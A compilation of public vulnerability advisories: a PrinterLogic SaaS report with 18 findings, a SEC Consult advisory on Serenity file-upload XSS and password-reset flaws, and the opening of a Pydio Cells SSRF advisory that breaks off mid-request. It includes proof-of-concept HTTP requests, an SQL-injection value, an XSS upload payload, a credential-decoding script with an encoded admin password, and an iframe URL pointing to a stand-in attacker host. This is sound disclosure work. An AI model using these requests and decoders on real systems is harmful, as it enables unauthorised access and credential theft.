<pre><code>PrinterLogic SaaS, multiple vulnerabilities<br />===========================================================<br />PrinterLogic's Enterprise Print Management software allows IT<br />professionals to simplify printer driver management and empower end<br />users.<br /> -- https://www.printerlogic.com/<br /><br /><br />Background<br />----------------------------------<br />The following findings were identified by performing both dynamic<br />testing of the PrinterLogic SaaS platform and code analysis of the<br />source code contained in the virtual appliance available for download<br />from the PrinterLogic website (Build 1.0.757: July 29th, 2022).<br /><br /><br />Credit<br />-----------------------------------<br />The vulnerabilities were discovered by Eldar Marcussen, Gareth<br />Phillips, Jeff Thomas, Luke Symons, Nadeem Salim, Stephen Bradshaw,<br />Tony Wu and Yianna Paris.<br /><br /><br />OVE-20230524-0001 Authentication bypass<br />===========================================================<br />As the application is not using a central framework for handling<br />authentication and authorization the individual PHP files must all<br />implement authentication and authorization checks in a consistent same<br />way. However, this is not the case and many of the administrative<br />files are missing authentication checks completely, allowing<br />unauthenticated access to administrative scripts via their direct<br />URLs.<br /><br />For example:<br /> * https://example.printercloud10.com/admin/query/reports.php?action=start_database_query&export=0&report_type=Overview+-+By+Week&sort_by=&sort_order=0&page=1&start_date=2023%2F01%2F11&stop_date=2023%2F01%2F11&start_time=12%3A00+AM&stop_time=11%3A59+PM&time_offset=39600&order=&user_name=&job_title=&computer_name=&manager_name=&department_name=&printer_name=&printer_type=printer_type_tcpip&job_type=job_type_scan&user_name_wildcard=*&company_name_wildcard=*&job_title_wildcard=*&manager_name_wildcard=*&department_name_wildcard=*&printer_name_wildcard=*&folder_path=Test&show_tcpip_printers=1&show_usb_printers=1&show_folder_accumulate=0<br /><br /> * https://example.printercloud10.com/admin/api/advanced-groups?limit=25<br /><br />It also appears possible for an unauthenticated attacker to alter the<br />idp configuration of the SaaS service, however due to lack of<br />integration this was not tested further, the following request<br />contains no authentication or session details, but did receive a `{<br />"message":"success"}` json response:<br />```<br />PUT /api/authn/save-idp-settings HTTP/2<br />Host: example.printercloud10.com<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0)<br />Gecko/20100101 Firefox/108.0<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate<br />Dnt: 1<br />Upgrade-Insecure-Requests: 1<br />Sec-Fetch-Dest: document<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-Site: none<br />Sec-Fetch-User: ?1<br />Te: trailers<br />Content-Type: application/json<br />Content-Length: 2<br /><br />{}<br />```<br /><br /><br />OVE-20230524-0002 SQL injection<br />===========================================================<br />Overall the application does not use parameterized queries when<br />retrieving data, but rather uses a custom DAO framework which utilises<br />several escaping functions that attempt to prevent SQL injection using<br />various string handling functions. These are either custom functions -<br />a practice that is not recommended, or rely on<br />mysqli_real_escape_string(), which has a number of flaws, resulting in<br />conditions where SQL injection is possible. For example, the following<br />function that tries to avoid injection via the backtick character is<br />flawed as it does not also handle escape sequences:<br /><br />```php<br />public function escapeMySQLSchemaName($identifier) { return "`" .<br />str_replace("`", "``", $identifier) . "`"; }<br />```<br /><br />If an attacker supplied the string ```abc\`,injected``` then function<br />would return ```abc\``,injected``` where the first backtick is escaped<br />and the second terminates an existing backtick defined string.<br /><br />In some cases, input does not appear to be filtered or validated at<br />all. For example, the offset parameter in the admin/query/reports.php<br />script mentioned in the authentication bypass issue,<br />We can simulate this by combining the functions from the different<br />files as follows and see that the offset value is successfully<br />injected, however due to how MySQL handles group by expressions it<br />would be difficult to find an injection payload that doesn't break the<br />SQL syntax and has a valid group by statement.<br /><br />```php<br />// print_stat_dao.php gets called from overview_total_per_week()<br />function per_week_columns($time_offset) {<br /> // Use UTC for the "WHERE" clause (since printed, $start and $stop<br />are in UTC), but local time for everything else<br /> $local_printed = "TIMESTAMPADD(SECOND, $time_offset, printed)";<br /> return "WEEK($local_printed, 2) AS current_week,<br /> YEAR($local_printed) AS current_year,<br /> $local_printed AS local_printed<br /> ";<br />}<br /><br />function per_week_group_by($time_offset) {<br /> $adjusted_printed = "TIMESTAMPADD(SECOND, $time_offset, printed)";<br /> return "WEEK($adjusted_printed, 2)";<br />}<br /><br />function per_week_order_by($time_offset) {<br /> $adjusted_printed = "TIMESTAMPADD(SECOND, $time_offset, printed)";<br /> return "YEAR($adjusted_printed), WEEK($adjusted_printed, 2)";<br />}<br /><br />function per_year_group_by($time_offset) {<br /> $adjusted_printed = "TIMESTAMPADD(SECOND, $time_offset, printed)";<br /> return "YEAR($adjusted_printed)";<br />}<br /><br /><br />// print_stat_dao.php helper function<br />// Date allows invalid data in time_offset<br />// is_valid_date_time does not, but offset isn't used there (FTW!)<br />function create_start_stop_dates($start_date, $start_time, $stop_date,<br />$stop_time, $time_offset) {<br /> // Convert dates to UTC<br /> $start = $start_date . " " . $start_time;<br /> $stop = $stop_date . " " . $stop_time;<br /> if (!is_valid_date_time($start_date, $start_time)) {<br /> echo "Invalid start date/time: $start";<br /> return false;<br /> }<br /> if (!is_valid_date_time($stop_date, $stop_time)) {<br /> echo "Invalid end date/time: $stop";<br /> return false;<br /> }<br /> if (strtotime($start) > strtotime($stop)) {<br /> echo "Start date/time is later than end date/time: $start > $stop";<br /> return false;<br /> }<br /><br /> $start = date("Y-m-d H:i:00", strtotime($start_date . " " .<br />$start_time) - $time_offset);<br /> $stop = date("Y-m-d H:i:59", strtotime($stop_date . " " .<br />$stop_time) - $time_offset);<br /> return array($start, $stop);<br />}<br /><br />// Helper function requires specific formats for start/stop date/time<br />function is_valid_date_time($date, $time) {<br /> $format = "Y/m/d h:i A";<br /> $date = $date . " " . $time;<br /> $current = DateTime::createFromFormat($format, $date);<br /> if (!$current)<br /> return false;<br /> return $current && $current->format($format) == $date;<br />}<br /><br />// Simulate user supplied data and flow for overview_total_per_week()<br />in print_stat_dao.php<br />// This gets called from ../../helpers/reports.php for the following<br />report type:<br />// case "Overview - By Week":<br />// 101 array_push($ids,<br />// 102<br />$print_stat_dao->overview_total_per_week($start_date, $start_time,<br />$stop_date, $stop_time, $time_offset));<br />$time_offset="600, injected)) -- ";<br />$start_date="2021/01/01";<br />$start_time="11:25 AM";<br />$stop_date="2021/01/01";<br />$stop_time="11:55 AM";<br /><br />$dates = create_start_stop_dates($start_date, $start_time, $stop_date,<br />$stop_time, $time_offset);<br />//var_dump($dates);<br />$start = $dates[0];<br />$stop = $dates[1];<br />$per_week_columns = per_week_columns($time_offset);<br />$per_year_group_by = per_year_group_by($time_offset);<br />$per_week_group_by = per_week_group_by($time_offset);<br />$per_week_order_by = per_week_order_by($time_offset);<br />$permissions_filtered_print_stats_where_clause = "1=1";<br /><br />$query = "<br /> SELECT<br /> SUM(mono_duplex_count + mono_simplex_count +<br />color_duplex_count + color_simplex_count) as total_pages,<br /> SUM(mono_duplex_cost + mono_simplex_cost + color_duplex_cost<br />+ color_simplex_cost) AS total_cost,<br />$per_week_columns<br />FROM<br />ppp_print_stats<br />WHERE<br />(printed BETWEEN '$start' AND '$stop') and (job_type <> 4) and<br />($permissions_filtered_print_stats_where_clause)<br />GROUP BY<br />$per_year_group_by,<br />$per_week_group_by<br />ORDER BY<br />$per_week_order_by";<br /><br />echo "$query\n;\n\n\n";<br />```<br /><br /><br />OVE-20230524-0003 Cross site scripting<br />===========================================================<br />Several instances of cross site scripting were identified in the application:<br /> * https://example.printercloud10.com/admin/query/advanced_search.php<br />(q parameter)<br /> * https://example.printercloud10.com/app/app_requests.php (action parameter)<br /> * https://example.printercloud10.com/generators/standalone_autodownload_applet.php<br />(name parameter)<br /><br />These could be used to attack application users or hijack an<br />administrative account by leaking the users session cookies via the<br />/admin/cookies URL.<br /><br /><br />OVE-20230524-0004 Session fixation<br />===========================================================<br />The /admin/query/verify-login.php script does not issue a new session<br />identifier after login. An attacker could prime a known session id for<br />a user via xss, a phishing or watering hole attack and then later<br />access the application using the known session id to bypass<br />authentication. The following scripts also appears to grant<br />full/partial session control based on url parameters:<br /><br /> * Http/Api/Controllers/PrinterController.php:<br />$sessionId = $request->input('sessionId');<br /> * console_release/xerox/xerox_session.php:<br />$xerox_session_vo->id = requestint('session', 0);<br /> * console_release/xerox/xerox_session.php:<br />$xerox_session_vo->session_id = requeststr('session_id', '');<br /> * console_release/xerox/xerox_session.php:<br />$xerox_session_vo->id = requestint('session', 0);<br /> * state/query/console_release.php: $_SESSION['toshibaSessionId']<br />= requeststr('session_id', '');<br /><br /><br />OVE-20230524-0005 Password in URL<br />===========================================================<br />It is possible to login as admin via:<br /><br /> * https://example.printercloud10.com/admin/query/verify_login.php?user=MHg1flFXUnRhVzUySDI5QUNsOFJLQlUwUUV0amNTWnlNVHRCS1NNK0dSRkZSVU5XQTNjZkRYa1JSeXRYWDJsQktnNVhkQTFUSGlackxRRkRKbEVHRE&password=MHgxNn5ORVZPVWxWaU0xQkRielJoYzFkcVYyOXdja1pCUlJONldrRmNhVjROUW5wSUh5STVaMUZERFdSZlJHTUNTUjVEY0VKZkx3SXhCRkF5SURaRU&credential_enc=true<br /><br />This could lead to passwords leaking to third parties via referrer<br />headers, browser history, server logs, proxy logs, URL shortening<br />services, etc. Although these passwords are encoded in the URL, they<br />are trivial to decode to plaintext as evidenced elsewhere in the<br />report<br /><br /><br />OVE-20230524-0006 Plaintext passwords in logs<br />===========================================================<br />The application was found to log request data which may include<br />passwords and, in some cases, explicitly log plaintext passwords. This<br />includes, but is not limited to:<br /><br /> * /console_release/hp/install_popup_load.php<br />```php<br />$XRX_USERNAME = substr(base64_decode(requeststr('username', '')), 0, -30);<br />$XRX_PASSWORD = Printer::unObfuscate(requeststr('password', ''));<br />Log::debug('hp, 1.txt, ' . requeststr('username', '') . ', ' . $XRX_USERNAME<br /> . ', ' . requeststr('password', '') . ', ' . $XRX_PASSWORD);<br />```<br /><br /><br />OVE-20230524-0007 Weak password encryption/encoding in use<br />===========================================================<br />The application appears to be storing passwords using unsalted sha1<br />hashing, and transmitting authentication data using a custom double<br />base64 encoding, as seen in the URL in password issue.<br /><br />lib/dao/user_dao.php line: 154<br />```php<br /> function make_user($username,$mypass,$first,$last,$type,$myco,$email) {<br /> //this function is very similar to the automatically created<br />new_XXX function of daos...<br /> //I've converted your function just so you still have it.<br /> $securepass = sha1($mypass);<br /><br /> $vo=new user_vo();<br /> $vo->str_username=$username;<br /> $vo->str_my_password=$securepass;<br /> $vo->str_user_status="Active";<br /> $vo->str_first_name=$first;<br /> $vo->str_last_name=$last;<br /> $vo->int_user_type=$type;<br /> $vo->account_id=$myco;<br /> $vo->str_email_address=$emai l;<br /> return $this->new_user($vo);<br /> }<br />```<br /><br />The application uses a double base64 encoding to obfuscate usernames<br />and passwords, with a length field to avoid reading padding data.<br />However, they can easily be recovered with a simple script:<br /><br />```php<br />function decodeCredentials($encodedStr)<br />{<br /> $firstDecode = base64_decode($encodedStr);<br /> if (empty($firstDecode)) {<br /> return '';<br /> }//end if<br /> $encodedParts = explode('~', $firstDecode);<br /> if (count($encodedParts) < 2) {<br /> return '';<br /> }//end if<br /><br /> // length of the unencoded credential<br /> $len = hexdec($encodedParts[0]);<br /> $decodedCredential = base64_decode($encodedParts[1]);<br /> if (empty($decodedCredential)) {<br /> return '';<br /> }//end if<br /><br /> //extract the unencoded credential from the padding<br /> $credential = substr($decodedCredential, 0, $len);<br /> return urldecode($credential);<br />}<br /><br />// outputs 4ENRUb3PCo4asWjWoprFAE<br />echo decodeCredentials("MHgxNn5ORVZPVWxWaU0xQkRielJoYzFkcVYyOXdja1pCUlJONldrRmNhVjROUW5wSUh5STVaMUZERFdSZlJHTUNTUjVEY0VKZkx3SXhCRkF5SURaRU");<br />```<br /><br />OVE-20230524-0008 Insufficient CSRF protection<br />===========================================================<br />The application does not enforce CSRF checks for the majority of its<br />forms, even for the requests that have a value present in a header,<br />cookie or form, testing found that changing or removing the value had<br />no actual impact on the success of the operation:<br /><br />```<br />POST /admin/query/reports.php HTTP/2<br />Host: example.printercloud10.com<br />Cookie: PHPSESSID=ubbd04d1j65555mv2t8p07eqam;<br />XSRF-TOKEN=eyJpdiI6IisrWTlaY0ZTWUJSRUlUWU5FLzJ5Rnc9PSIsInZhbHVlIjoiSHlybzZGME02NGFSRGVWcTlQVTA2amgxWmVtN3VESzVxVm1kUlZQcFd3N1gxa09CWW1xNE43elA2SDh4dlZKMk1MMHhEd1RDT0NJNGhIWWZ5SzkyUUQzd3oyS1ppQWc0dGdkb1V1a0M2NjRJcWR0TUpLMjI3a1JQS2MwVTVrclciLCJtYWMiOiJmNjQ3NmNkMzQyNDIzZDAyMWYxNWI3ZTZiMjRjMjdkMGFkOWRhMGYxODNhZWQ4NjIyMTY2ODk4ZmVmNDA3ZjE0IiwidGFnIjoiIn0%3D;<br />laravel_session=eyJpdiI6Im9nS1poYmZXRmlXTHJyTDhHY3lxL1E9PSIsInZhbHVlIjoiMW1lZVN3a0lSYUlWNHFiWjJjWHMwZ1VtSXgzeWZqT3BsTVJXNEo1cHkvNVRmSE5MRFdyK3FuaFpOR3RBR0tJdDhLVjk3TGloc0h5YjNtcHgzNjEvMWl1WElxYmd3YTV2aDI3dTFSY1ZjaUx0ZXRJRFN0ZjRXbE81WisxK25WZC8iLCJtYWMiOiI5OGZlMGFkYmFmY2IxYjk3NWI3OGJkNzgyMjM5NjRmYzczYTdhMjVlYTU2Njg3MWIzOWJjNDM0YmRmYzExZmRiIiwidGFnIjoiIn0%3D<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0)<br />Gecko/20100101 Firefox/108.0<br />Accept: application/xml, text/xml, */*; q=0.01<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate<br />Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br />X-Csrf-Token: THIS IS NOT A VALID TOKEN<br />X-Requested-With: XMLHttpRequest<br />Content-Length: 596<br />Origin: https://example.printercloud10.com<br />Dnt: 1<br />Referer: https://example.printercloud10.com/admin/<br />Sec-Fetch-Dest: empty<br />Sec-Fetch-Mode: cors<br />Sec-Fetch-Site: same-origin<br />Te: trailers<br /><br />action=start_database_query&export=0&report_type=Overview+-+B%26W%2FColor&sort_by=&sort_order=&page=&start_date=2023/01/11&stop_date=2023/01/11&start_time=12%3A00+AM&stop_time=11%3A59+PM&time_offset=1&order=&user_name=&job_title=&computer_name=&manager_name=&department_name=&printer_name=&printer_type=printer_type_tcpip&job_type=job_type_scan&user_name_wildcard=*&company_name_wildcard=*&job_title_wildcard=*&manager_name_wildcard=*&department_name_wildcard=*&printer_name_wildcard=*&folder_path=Test&show_tcpip_printers=1&show_usb_printers=1&show_folder_accumulate=0<br />```<br /><br /><br />OVE-20230524-0009 Insufficient anti virus protection<br />===========================================================<br />Printer drivers are manually uploaded by admins and assigned to<br />printers. The PrinterLogic application allows drivers containing known<br />malicious code to be uploaded.<br /><br /><br />OVE-20230524-0010 Insufficient authorization checks<br />===========================================================<br />While the application supports several user levels, most of the<br />individual PHP scripts does not implement granular access control<br />based on roles, but simply rely on an authentication check (if<br />present) like this:<br />```php<br />if(!GLOBALS::$login->is_logged_in()) {<br /> respond_expired();<br /> die();<br />}<br />```<br />This is distinctive from pages that implements a role based check,<br />such as /admin/design/management_accountts_users.php<br />```php<br />$user_permissions = UserPermissions::create_for_current_user();<br />$pagePermission =<br />$user_permissions->get_options_value_general(Constant::ToolsMenuUsers);<br />if (!$pagePermission) {<br /> respond_html_failure(UserPermissions::INSUFFICIENT_PERMISSIONS_MESSAGE, "");<br /> return;<br />}<br />```<br /><br /><br />OVE-20230524-0011 Administrative user email enumeration<br />===========================================================<br />The forgot password function will confirm if an email address exists<br />or not and can be used to enumerate users/emails.<br /><br /><br />OVE-20230524-0012 Arbitrary content inclusion via iframe<br />===========================================================<br />The following URL will include an arbitrary URL in an iframe, this<br />could be used to redirect the application using a frame busting<br />technique, execute JavaScript or initiate file downloads from an<br />untrusted source.<br /><br /> * https://example.printercloud10.com/generators/standalone_autodownload_applet.php?server=https://attackerurl&node_id=bbbb&file=ccccc&dialog=dddd&name=eeee&path=fffff<br /><br /><br />OVE-20230524-0013 Remote network scanning (XSPA)/DoS<br />===========================================================<br />There are several php files that will initiate user-controlled<br />connections to third party IP/port combinations over protocol such as<br />LDAP, IMAP, SMTP, telnet, etc. Telnet scanning (and possibly others)<br />runs until the connection closes so could lead to DoS condition by<br />consuming all web server workers<br /><br /> * https://example.printercloud10.com/email/email_printing_test.php?test_type=CONNECTION&connection_type=IMAP<br /> * https://example.printercloud10.com/admin/query/test_ldap_settings.php?action=test_connection_to_server&server=ldapsdns,.com&ldaps=0&ldap_port=8080<br /> * https://example.printercloud10.com/console_release/fast_release/rfideas_241_install.php?printer_id=1&ip_address=lostworldsbbs.com<br /><br /><br />OVE-20230524-0014 Insufficient signature validation<br />===========================================================<br />Printer drivers are manually uploaded by admins and assigned to<br />printers. The PrinterLogic application allows drivers to be uploaded<br />that are not cryptographically signed with valid certificates from a<br />trusted authority.<br /><br /><br />OVE-20230524-0015 Device impersonation<br />===========================================================<br />In at least one area of the PrinterLogic system, authorised devices<br />are identified by machine name. It is possible to rename a host and<br />have this impact another authorised devices records in at least one<br />place.<br /><br /><br />OVE-20230524-0016 Oauth security bypass<br />===========================================================<br />PrinterLogic clients need an authorization code to authenticate and<br />being authorised devices. These are sent by the Printer Installer<br />Client desktop application, which receives an access token as a<br />response.<br />This token is then used for all authenticated requests from the<br />desktop application.<br />When signing into the web application, there is an option to sign in<br />as the Current User. This sends encrypted information to the server<br />using the siddata parameter.<br />As symmetric encryption is used, and the key is easily obtainable from<br />the client-side applications, it is possible to decrypt, modify and<br />re-encrypt this data.<br /><br /><br />OVE-20230524-0017 Cookie returned in response body<br />===========================================================<br />The URL /admin/cookies returns the cookie values in the page body.<br />This breaks the HTTPOnly cookie security control used to prevent<br />JavaScript from accessing the cookie values during a session hijacking<br />attack.<br /><br /><br />OVE-20230524-0018 Known vulnerable components in use<br />===========================================================<br />The use of third-party JavaScript libraries can introduce a range of<br />DOM-based vulnerabilities, including some that can be used to hijack<br />user accounts like DOM-XSS.<br /><br />4 instances of this issue were identified, at the following locations:<br /> * /admin/map_bg/map_upload_bg.php<br /> * /assets/scripts/common-bb625e26df.js<br /> * /assets/scripts/common-fcc1983a7e.js<br /> * /assets/scripts/jquery-40c7c38831.form.js<br /><br /><br />Timeline<br />===========================================================<br />2023-02-01 - Vulnerability details shared with CERT/CC<br />2023-02-09 - CERT/CC reached out to vendor<br />2023-02-10 - Reached out to vendor directly advicing them of the<br />CERT/CC submission<br />2023-03-14 - Vendor responded<br />2023-03-14 - Updated CERT/CC on vendors response<br />2023-02-14 - CERT/CC reached out to vendor again<br />2023-02-15 - Responded to vendor, again directing them to CERT/CC for<br />vulnerability details and disclosure coordination<br />2023-02-17 - Vendor responded<br />2023-02-17 - Responded to vendor, again directing them to CERT/CC for<br />vulnerability details and disclosure coordination<br />2023-03-17 - Updated CERT/CC on vendors response<br />2023-03-28 - Requested status update from CERT/CC<br />2023-04-06 - Requested status update from CERT/CC<br />2023-04-06 - CERT/CC adviced vendor has responded to emails, but not<br />joined the VINCE platform<br />2023-04-11 - Reached out to vendor directly on behalf of CERT/CC<br />2023-04-11 - Vendor responded<br />2023-04-14 - Requested update from CERT/CC<br />2023-04-21 - Vendor joins VINCE<br />2023-04-21 - Vendor requests extension to disclosure timeline<br />2023-04-22 - Vendor advices they cannot locate the vulnerability details<br />2023-04-25 - Offer vendor 30 day timeline extention, provide copy of<br />draft advisory and request CVE identifiers from CERT/CC<br />2023-04-26 - CERT/CC confirms vulnerability details availability to<br />vendor, advices to request CVEs directly from MITRE<br />2023-04-26 - Vendor confirms receipt of vulnerability details<br />2023-04-27 - Submit CVE request to MITRE<br />2023-05-09 - Vendor shares vulnerability details with their product team<br />2023-05-17 - Request update from MITRE<br />2023-05-18 - Advice vendor and CERT/CC that advisory will use OVE<br />identifiers if CVE identifiers have not been issued prior to<br />disclosure<br />2023-05-18 - Vendor request additional disclosure delay in order to<br />triage issues<br />2023-05-24 - Vendor request additional disclosure delay in order to<br />triage issues<br />2023-05-24 - Vendor disputes issues OVE-2023240006 (legacy code),<br />OVE-2023240008 (legacy code), OVE-2023240010 (researchers didn't<br />specify all the places this needs to be fixed), OVE-2023240014 (won't<br />fix).<br />2023-05-25 - Public disclosure<br />????-??-?? - Patch available<br /><br /></code></pre>
<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20230516-0 ><br />=======================================================================<br /> title: Multiple Vulnerabilities<br /> product: Serenity and StartSharp Software<br /> vulnerable version: < 6.7.1<br /> fixed version: 6.7.1 or higher<br /> CVE number: CVE-2023-31285, CVE-2023-31286, CVE-2023-31287<br /> impact: high<br /> homepage: https://serenity.is<br /> found: 2023-02-28<br /> by: Fabian Densborn (Office Vienna)<br /> SEC Consult Vulnerability Lab<br /><br /> An integrated part of SEC Consult.<br /> SEC Consult is part of Eviden, an Atos business<br /> Europe | Asia | North America<br /><br /> https://www.sec-consult.com<br /><br />=======================================================================<br /><br />Vendor description:<br />-------------------<br />Serenity Software is a software vendor that distributes the Serenity Platform.<br />"Serenity is an ASP.NET Core / TypeScript application platform designed to<br />simplify and shorten development of data-centric business applications with<br />a service based architecture."<br /><br />Source: https://github.com/serenity-is<br /><br /><br />Business recommendation:<br />------------------------<br />SEC Consult recommends Serenity users to install the latest update and review<br />the vendor's changelog for further information.<br /><br />Furthermore, an in-depth security analysis performed by security professionals<br />is highly advised, as the software may be affected from other security issues.<br /><br /><br />Vulnerability overview/description:<br />-----------------------------------<br />1) Arbitrary File Upload to Stored Cross-Site Scripting (XSS) (CVE-2023-31285)<br />The application allows users to upload profile pictures for users.<br />It was identified that an attacker has the possibility to upload<br />arbitrary malicious files. Although some specific file endings are<br />not allowed, it is still possible to upload files without an extension.<br /><br />It was possible to:<br />• Upload malicious HTML files that will infect the user's browser with malicious<br /> JavaScript. As a result, the user's DOM is fully compromised.<br />• Upload malware that will infect the user's operating system upon download and<br /> local execution.<br /><br />Note:<br />Although the option for uploading new profile pictures is only visible to power users,<br />users with lower privileges can still trigger the upload functionality.<br /><br /><br />2) User Enumeration (CVE-2023-31286)<br />It is possible to collect valid email addresses by interacting with the<br />"forgot password" function of the application. This vulnerability is<br />useful to increase the efficiency of brute-force attacks. If the email<br />address is known, it is easier to find the corresponding password.<br /><br /><br />3) Reusable Password Reset Tokens (CVE-2023-31287)<br />The web application provides the possibility to reset the password via<br />email. The corresponding email contains a password reset link which includes<br />a user-specific token. When visiting the link, the user can set a new<br />password for this account. After changing the password, the password reset link<br />remains valid (3 hours) and can be used a second time to change the password<br />of the user.<br /><br /><br /><br />Proof of concept:<br />-----------------<br />1) Arbitrary File Upload to Stored Cross-Site Scripting (XSS) (CVE-2023-31285)<br />A user can upload arbitrary files to the server, but some file extensions<br />like .aspx are not allowed. Nevertheless, malicious files like Word documents<br />with enabled macros or other executable malware can be uploaded. There also<br />seems to be no anti-virus scan enabled for these files, as it is possible to<br />upload the EICAR test file which is flagged as malicious by all antivirus<br />software.<br /><br />Additionally, it is also possible to attack a privileged power user, by<br />generating a malicious HTML page, that on visit escalates the role of the<br />attacker user. This is possible, because the file is uploaded to the same<br />domain and therefore the containing JavaScript executes in the same context as<br />the application. The impact of this vulnerability is therefore equal to that<br />of a stored XSS vulnerability.<br /><br />To upload a malicious HTML file an authenticated user without the role of a<br />power user can send the following request:<br />--------------------------------------------------<br />POST /File/TemporaryUpload HTTP/2<br />Host: demo.serenity.is<br />Cookie: [...]<br />Content-Type: multipart/form-data; boundary=--boundary<br />Origin: https://demo.serenity.is<br />[...]<br /><br />--boundary<br />Content-Disposition: form-data; name="Serenity_ImageUploadEditor31[]"; filename="test.html"<br />Content-Type: image/png<br /><br /><html><br /><head></head><br /><body><br /><h1>SEC Consult</h1><br /><script>alert(document.domain)</script><br /></body><br /></html><br />--boundary--<br />--------------------------------------------------<br /><br />The response reveals the path of the uploaded file:<br />--------------------------------------------------<br />HTTP/2 200 OK<br />Server: nginx/1.18.0 (Ubuntu)<br />Content-Type: application/json<br />[...]<br /><br />{<br /> "TemporaryFile":"temporary/f3c960aca7724409a3c4c6e597ce5b92.html",<br /> "Size":110,<br /> "IsImage":false,<br /> "Width":0,<br /> "Height":0<br />}<br />--------------------------------------------------<br /><br />The uploaded file can then be found under /upload/temporary/f3c960aca7724409a3c4c6e597ce5b92.html.<br /><br />The final link will look benign thus it is possible to attack administrator<br />users and escalate the privileges of the own user.<br /><br /><br />2) User Enumeration (CVE-2023-31286)<br />The "forgot password" page lets users request a new password reset mail.<br />They need to enter their email address which corresponds to their account<br />and receive a mail containing a link to reset their password. Unfortunately,<br />the response of this request leaks if a user with the provided email address<br />exists or not. If an attacker wants to check if a user account with a<br />specific email exists, he can send the following request:<br /><br />--------------------------------------------------<br />POST /Account/ForgotPassword HTTP/2<br />Host: demo.serenity.is<br />Origin: https://demo.serenity.is<br />Content-Type: application/json<br />[...]<br /><br />{<br /> "Email":"emailToCheck@sec-consult.com"<br />}<br />--------------------------------------------------<br /><br />If the user with this mail does not exist, the response will look like this:<br />--------------------------------------------------<br />HTTP/2 400 Bad Request<br />Server: nginx/1.18.0 (Ubuntu)<br />Content-Type: application/json<br /><br />{<br /> "Error": {<br /> "Code":"CantFindUserWithEmail",<br /> "Message":"Can't find a user with that e-mail adress!"<br /> }<br />}<br />--------------------------------------------------<br /><br />If the user with this mail address does exist, the response will look like<br />this:<br />--------------------------------------------------<br />HTTP/2 200 OK<br />Server: nginx/1.18.0 (Ubuntu)<br />Content-Type: application/json<br />[...]<br /><br />{}<br />--------------------------------------------------<br /><br /><br />3) Reusable Password Reset Tokens (CVE-2023-31287)<br />When resetting the password via the "forgot password" functionality on the<br />login screen, an email containing a password reset link is sent to the user.<br />When clicking on this link, a user can choose a new password for his account.<br />However, after changing the password to a new one, the password reset link<br />remains valid. It can be used a second time to update the user's password<br />although it was already changed. If an attacker gets access to the browser<br />history of the user, he can change the password of the user's account and<br />access it afterwards.<br /><br /><br />Vulnerable / tested versions:<br />-----------------------------<br />The following versions are affected:<br />< 6.7.0<br /><br /><br />Vendor contact timeline:<br />------------------------<br />2023-04-05: Contacting vendor through sales@serenity.is<br />2023-04-05: Vendor responds to send advisory to support@serenity.is<br />2023-04-05: Advisory sent to vendor.<br />2023-04-06: Vendor released fixes for all three vulnerabilities,<br /> file upload vulnerability was not fixed properly though.<br />2023-04-07: SEC Consult informs vendor about not properly fixed file upload.<br />2023-04-07: Vendor released proper fix for file upload vulnerability in v6.7.1.<br />2023-04-27: CVE numbers assigned.<br />2023-05-16: Public release of security advisory.<br /><br /><br />Solution:<br />---------<br />The vendor provides a patch v6.7.1 which includes the fixes for the identified<br />security issues.<br /><br />The new version can be downloaded here:<br />https://github.com/serenity-is/Serenity<br /><br />The vendor explicitly notes the following in the changelog:<br /><br />"Serene/StartSharp users must either create a new project from the 6.7.0+ template<br />or manually apply the relevant changes from this commit to their existing<br />applications after updating Serenity packages to 6.7.0+"<br /><br /><br />Workaround:<br />-----------<br />None<br /><br /><br />Advisory URL:<br />-------------<br />https://sec-consult.com/vulnerability-lab/<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />SEC Consult Vulnerability Lab<br /><br />SEC Consult is part of Eviden, an Atos business<br />Europe | Asia | North America<br /><br />About SEC Consult Vulnerability Lab<br />The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, part<br />of Eviden, an Atos business. It ensures the continued knowledge gain of SEC<br />Consult in the field of network and application security to stay ahead of the<br />attacker. The SEC Consult Vulnerability Lab supports high-quality penetration<br />testing and the evaluation of new offensive and defensive technologies for our<br />customers. Hence our customers obtain the most current information about<br />vulnerabilities and valid recommendation about the risk profile of new<br />technologies.<br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />Interested to work with the experts of SEC Consult?<br />Send us your application https://sec-consult.com/career/<br /><br />Interested in improving your cyber security with the experts of SEC Consult?<br />Contact our local offices https://sec-consult.com/contact/<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Mail: security-research at sec-consult dot com<br />Web: https://www.sec-consult.com<br />Blog: http://blog.sec-consult.com<br />Twitter: https://twitter.com/sec_consult<br /><br />EOF Fabian Densborn / @2023<br /><br /></code></pre>
<pre><code>For longer running processes, Pydio Cells allows for the creation of<br />jobs, which are run in the background. The job "remote-download" can be<br />used to cause the backend to send a HTTP GET request to a specified URL<br />and save the response to a new file. The response file is then available<br />in a user-specified folder in Pydio Cells.<br /><br /><br />Details<br />=======<br /><br />Product: Pydio Cells<br />Affected Versions: 4.1.2 and earlier versions<br />Fixed Versions: 4.2.0, 4.1.3, 3.0.12<br />Vulnerability Type: Server-Side Request Forgery<br />Security Risk: medium<br />Vendor URL: https://pydio.com/<br />Vendor Status: notified<br />Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2023-005<br />Advisory Status: published<br />CVE: CVE-2023-32750<br />CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32750<br /><br /><br />Introduction<br />============<br /><br />"Pydio Cells is an open-core, self-hosted Document Sharing and<br />Collaboration platform (DSC) specifically designed for organizations<br />that need advanced document sharing and collaboration without security<br />trade-offs or compliance issues."<br /><br />(from the vendor's homepage)<br /><br /><br />More Details<br />============<br /><br />Using the REST-API of Pydio Cells it is possible to start jobs. For<br />example, when renaming a file or folder an HTTP request similar to the<br />following is sent:<br /><br 